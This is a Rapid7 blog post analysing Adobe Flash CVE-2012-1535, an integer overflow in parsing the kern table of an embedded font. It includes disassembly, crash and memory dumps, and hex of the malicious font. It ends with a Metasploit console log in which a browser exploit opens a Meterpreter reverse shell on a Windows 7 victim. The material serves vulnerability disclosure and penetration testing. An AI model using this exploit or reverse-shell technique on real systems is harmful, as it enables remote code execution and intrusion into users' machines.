Rapid7 Blog

Adobe Flash Player Exploit CVE-2012-1535 Now Available for Metasploit

|Last updated on Dec 18, 2023|1 min read
LinkedInFacebookX

Edit: Aug 26 2012.

Recently, a new Adobe Flash vulnerability (CVE-2012-1535) was being exploited in the wild as a zero-day in limited targeted attacks, in the form of a Word document.  The Metasploit team managed to get our hands on the malware sample, and began our voodoo ritual in order to make this exploit available in the Metasploit Framework.  Although Adobe officially has already released a patch (APSB12-18), and that the malware is pretty well documented, the vulnerability itself isn't (well, at least not in English) -- we figured it's time to update the blog.

When we began analyzing the the malicious Flash object file, we realized the vulnerability should be related to the parsing of the embedded font file because of the following source code:

public function TextBlock_createTextLineExample():void{  
var _local1 = "Edit the world in hex.";
var _local2:FontDescription = new FontDescription("PSpop");
_local2.fontLookup = FontLookup.EMBEDDED_CFF;
var _local3:ElementFormat = new ElementFormat(_local2);
_local3.fontSize = 16;
var _local4:TextElement = new TextElement(_local1, _local3);
var _local5:TextBlock = new TextBlock();
_local5.content = _local4;
this.createLines(_local5);
}


private function createLines(_arg1:TextBlock):void{
var _local2:Number = 300;
var _local3:Number = 15;
var _local4:Number = 20;
var _local5:TextLine = _arg1.createTextLine(null, _local2);
while (_local5) {
_local5.x = _local3;
_local5.y = _local4;
_local4 = (_local4 + (_local5.height + 2));
addChild(_local5);
_local5 = _arg1.createTextLine(_local5, _local2);
};
}

When this font file is loaded, we trigger a clean crash similar to the following:

(538.7dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash32_11_3_300_268.ocx -
eax=1e0d0000 ebx=1e0cfff0 ecx=000004f7 edx=00000000 esi=02a7dfa0 edi=02a78250
eip=1044168a esp=0013dd20 ebp=0013dd58 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050206
Flash32_11_3_300_268!DllUnregisterServer+0x285c28:
1044168a ff5008 call dword ptr [eax+8] ds:0023:1e0d0008=????????

A quick look in IDA Pro reveals EAX comes from arg_0:

.text:103EF2D0                mov    esi, [esp+4+arg_0] <-- ESI read from arg_0  
.text:103EF2D4 test esi, esi
.text:103EF2D6 jz short loc_103EF2EB
.text:103EF2D8 push dword ptr [esi+0Ch]
.text:103EF2DB mov eax, [esi] <-- EAX read from ESI
.text:103EF2DD push eax
.text:103EF2DE call dword ptr [eax+8] <-- Crash

And a quick cross-reference brings us to this particular call:

Down p sub_103EF4A0+19B call    sub_103EF2CF    ; Call crashing function  

Where sub_103EF4A0 19B  points to the following:

.text:103EF63A loc_103EF63A:                          ; CODE XREF: sub_103EF4A0+A3 j  
.text:103EF63A push esi
.text:103EF63B call sub_103EF2CF ; Call crashing function

At this point, we know there is some kind of corruption in ESI... but what's ESI for?  Here, we trace ESI by first "decompiling" the entire function, and then grep 'v6' (ESI):

$ grep -n v6 sub_103ef4a0.txt
6: int v6; // esi@6
43: v6 = (*a1)(a1, 16);
44: v16 = v6;
45: if ( !v6 )
50: *(v6 + 8) = streama;
51: *v6 = a1;
52: *(v6 + 4) = v3;
54: *(v6 + 12) = v7;
59: sub_103EF2CF(v6);

As you can see, at line 43, ESI is assigned with a value.  Turns out this is a when the function allocates memory (that we later discovered as the kern table memory):

.text:103EF4ED loc_103EF4ED:                          ; CODE XREF: sub_103EF4A0+37 j  
.text:103EF4ED pop ebx
.text:103EF4EE cmp [ebp+stream], esi
.text:103EF4F1 jz loc_103EF655
.text:103EF4F7 mov eax, [ebp+arg_0]
.text:103EF4FA push 10h
.text:103EF4FC push eax
.text:103EF4FD call dword ptr [eax] ; Allocate memory
.text:103EF4FF mov esi, eax

We will call the above "memory 1", because there's another one ("memory 2") that comes pretty much right after:

.text:103EF514 loc_103EF514:                            ; CODE XREF: sub_103EF4A0+68 j  
.text:103EF514 mov eax, [ebp+stream]
.text:103EF517 mov ecx, [ebp+arg_0] ;[arg_0] is our allocator
.text:103EF51A mov [esi+8], eax
.text:103EF51D shl eax, 4
.text:103EF520 push eax
.text:103EF521 push ecx
.text:103EF522 mov [esi], ecx
.text:103EF524 mov [esi+4], edi
.text:103EF527 call dword ptr [ecx]
.text:103EF529 pop ecx
.text:103EF52A pop ecx
.text:103EF52B xor ecx, ecx
.text:103EF52D mov [esi+0Ch], eax

In the above code, EAX is an user-controlled value, and is used as size.  In our case, this value is always 0x10000000, and when the code does a "SHL EAX, 4", EAX will become 0x00 -- an integer overflow.  Here's an experiment you can try in IRB and demonstrates the same purpose:

ruby-1.9.2-p180 :006 > [0x10000000 << 4].pack("V*").unpack("H*")
=> ["00000000"]

Again, since 0x10000000 is user-controlled, we need to find out where it comes from.  We know that the crash occurs when the font is loaded, so we'll begin searching there:

$ d3v_binary_search.rb -i PSPop.otf -p 10000000 |grep HERE
00007800 00 02 00 09 00 03 00 09 00 00 00 10 00 00 00 10 |................|

The first offset (around 0x7800) doesn't seem to point to anything interesting.  But the second one (0x8340), according to our TFF template with 010 Editor, shows that it falls into the "kern" header section:

struct tTable Table[8]kern (1801810542) at 33604 for 15852
ULONG checkSumA466AE58h
ULONG offset8344h
ULONG length3DECh

According to the TFF specifications, the 'kern' header has the following values:

TypeNameDescription
fixed32versionThe version number of the kerning table (0x00010000 for the current version).
uint32nTablesThe number of subtables included in the kerning table.

So at around 0x8340, here's how we should interpret the binary data:

$ cat PSPop.otf |hexdump -C |grep 00008340
00008340 00 00 00 00 00 01 00 00 10 00 00 00 1e 0c ff e8 |................|
^Version ^ nTables

At this point, we understand that when the version is 0x10000, and that when nTables has a value of 0x10000000 or higher, an integer overflow occurs for memory 2.  With a little bit of clever breakpoints, we learned that memory 2 is always allocated before memory 1.  And a before/after memory dump comparison reveals the overflow:

Memory 2:

LocationBeforeAfter

0x03a69058


0x03a6906a


0x03a6907c


0x03a6908e


0x03a690a0

54 90 A6 03 00 00 00 00 00 00 00 00 00 00 00 00 00


00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00


00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00


00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00


00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 08 00 00 00 08 00 00 00 00 00 00 00 00


00 00 F0 FF 0C 1E 00 00 0D 1E FF FF FF FF 00 00 00


F0 FF 0C 1E 00 00 0D 1E FF FF FF FF 00 00 00 00 F0


0C 1E 00 00 0D 1E FF FF FF FF 00 00 00 00 F0 FF 0C


00 00 0D 1E FF FF FF FF 00 00 00 00 F0 FF 0C 1E 00

Memory 1 -- Notice the first two rows are overwritten, with the first 4 bytes being the pointer to our shellcode:

LocationBeforeAfter

03a6d750

03a6d762

03a6d774

03a6d786

03a6d798

B0 C1 A6 03 50 82 A6 03 00 00 00 10 00 00 00 00 70

A6 03 2E 31 2E 33 00 00 00 00 00 00 00 00 B0 D7 A6

50 D1 A6 03 80 D8 A6 03 00 00 00 00 2F 6E 54 41 48

2E 74 78 74 2E 73 77 66 00 00 38 4F AA 03 80 D8 A6

00 00 00 00 00 00 00 00 c0 D6 A6 03 00 00 00 00 00

00 00 0d 1E FF FF FF FF 00 00 00 00 F0 FF 0C 1E 00

0d 1E FF FF FF FF 00 00 00 00 00 00 00 00 B0 D7 A6

50 D1 A6 03 80 D8 A6 03 00 00 00 00 2F 6E 54 41 48

2E 74 78 74 2E 73 77 66 00 00 38 4F FF 03 80 D8 A6

00 00 00 00 00 00 00 00 C0 D6 A6 03 00 00 00 00 00

Eventually, ESI points to 0x03a6d750, and when the following executes, we gain code execution:

.text:103EF2DB                mov    eax, [esi]  ;0x03A6D750  
.text:103EF2DD push eax
.text:103EF2DE call dword ptr [eax+8]

Unlike the original malware, the Metasploit module for CVE-2012-1535 delivers the attack as a browser exploit.  And it currently supports Internet Explorer 6/7/8/9, Windows XP SP3 all the way to Windows 7 SP1.  It specifically has ROP chains (in order to bypass Data Execution Prevention) for the following Flash builds under XP, otherwise it defaults to JRE ROP as "plan B":

  • Flash 11.3.300.268
  • Flash 11.3.300.265
  • Flash 11.3.300.257

And here's an example of a successful assault against Windows 7 SP1:

msf  exploit(adobe_flash_otf_font) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.255.78:4444
msf exploit(adobe_flash_otf_font) > [*] Using URL: http://0.0.0.0:8080/xF
[*] Local IP: http://10.6.255.78:8080/xF
[*] Server started.
[*] 10.6.255.89 adobe_flash_otf_font - User-agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.6.255.89 adobe_flash_otf_font - Client requesting: /xF
[*] 10.6.255.89 adobe_flash_otf_font - Sending HTML
[*] 10.6.255.89 adobe_flash_otf_font - User-agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.6.255.89 adobe_flash_otf_font - Client requesting: /HjSwC.txt.swf
[*] 10.6.255.89 adobe_flash_otf_font - Sending SWF
[*] 10.6.255.89 adobe_flash_otf_font - User-agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.6.255.89 adobe_flash_otf_font - Client requesting: /HjSwC.txt
[*] 10.6.255.89 adobe_flash_otf_font - Default back to JRE ROP
[*] 10.6.255.89 adobe_flash_otf_font - Sending Payload
[*] Sending stage (752128 bytes) to 10.6.255.89
[*] Meterpreter session 1 opened (10.6.255.78:4444 -> 10.6.255.89:49170) at 2012-08-22 15:28:26 -0500
[*] Session ID 1 (10.6.255.78:4444 -> 10.6.255.89:49170) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1216)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2380
[+] Successfully migrated to process

To try out this exploit: Get your Metasploit download now or update your existing installation, and let us know if you have any further questions. In the meanwhile, we keep working further into this!

sinn3r & juan